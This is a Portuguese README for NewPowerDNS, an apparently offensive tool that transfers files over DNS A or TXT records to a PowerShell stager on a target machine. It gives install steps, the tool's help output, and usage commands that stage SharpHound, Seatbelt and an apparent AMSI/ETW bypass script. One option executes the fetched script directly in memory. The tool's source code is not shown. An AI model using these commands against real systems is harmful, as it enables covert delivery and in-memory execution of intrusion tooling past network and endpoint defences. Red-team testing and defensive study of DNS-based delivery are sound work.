
Versão atualizada do PowerDNS por @domchell. Adiciona suporte para transferências por meio de registros DNS A e alguns outros recursos úteis.
O NewPowerDNS é uma versão atualizada do PowerDNS do @domchell. A principal funcionalidade adicionada é o suporte para transferência de arquivos usando registros DNS A. Veja abaixo uma lista completa das modificações feitas:
A única dependência além do python3 é o scapy. Ele pode ser facilmente instalado via pip da seguinte forma:
python3 -m pip install scapy
Veja abaixo um vídeo demonstrando a transferência de arquivos tanto por registros DNS A quanto TXT:
Transferir script powershell via registros DNS A e imprimir no console:
python3 NewPowerDNS.py --file AmSeeETWBP.ps1 --domain sub.domain.com -r A -a print
Transferir arquivo exe via registros DNS TXT e salvar em disco:
python3 NewPowerDNS.py --file SharpHound.exe --domain sub.domain.com -r TXT -a save
Transferir script powershell via registros DNS TXT e carregar automaticamente na memória:
python3 NewPowerDNS.py --file Invoke-Seatbelt.ps1 --domain sub.domain.com -r TXT -a exec
Uso geral:
___ ___ _ _ ___
| . \ ___ _ _ _ ___ _ _ | . \| \ |/ __>
| _// . \| | | |/ ._>| '_>| | || |\__ \
|_| \___/|__/_/ \___.|_| |___/|_\_|<___/
DNS A Record & updated stager version by @icyguider
Original version by @domchell
usage: NewPowerDNS.py [-h] [-f <file>] [-d <domain>] [-a <action>] [-r <record-type>] [-i <interface>]
optional arguments:
-h, --help show this help message and exit
-f <file>, --file <file>
file to transfer
-d <domain>, --domain <domain>
domain with auth NS record
-a <action>, --action <action>
action to perform once data is transferred (options: save, exec, print)
-r <record-type>, --record-type <record-type>
type of DNS record to use for transfer (options: A, TXT) (default: TXT)
-i <interface>, --interface <interface>
interface to bind to (default: eth0)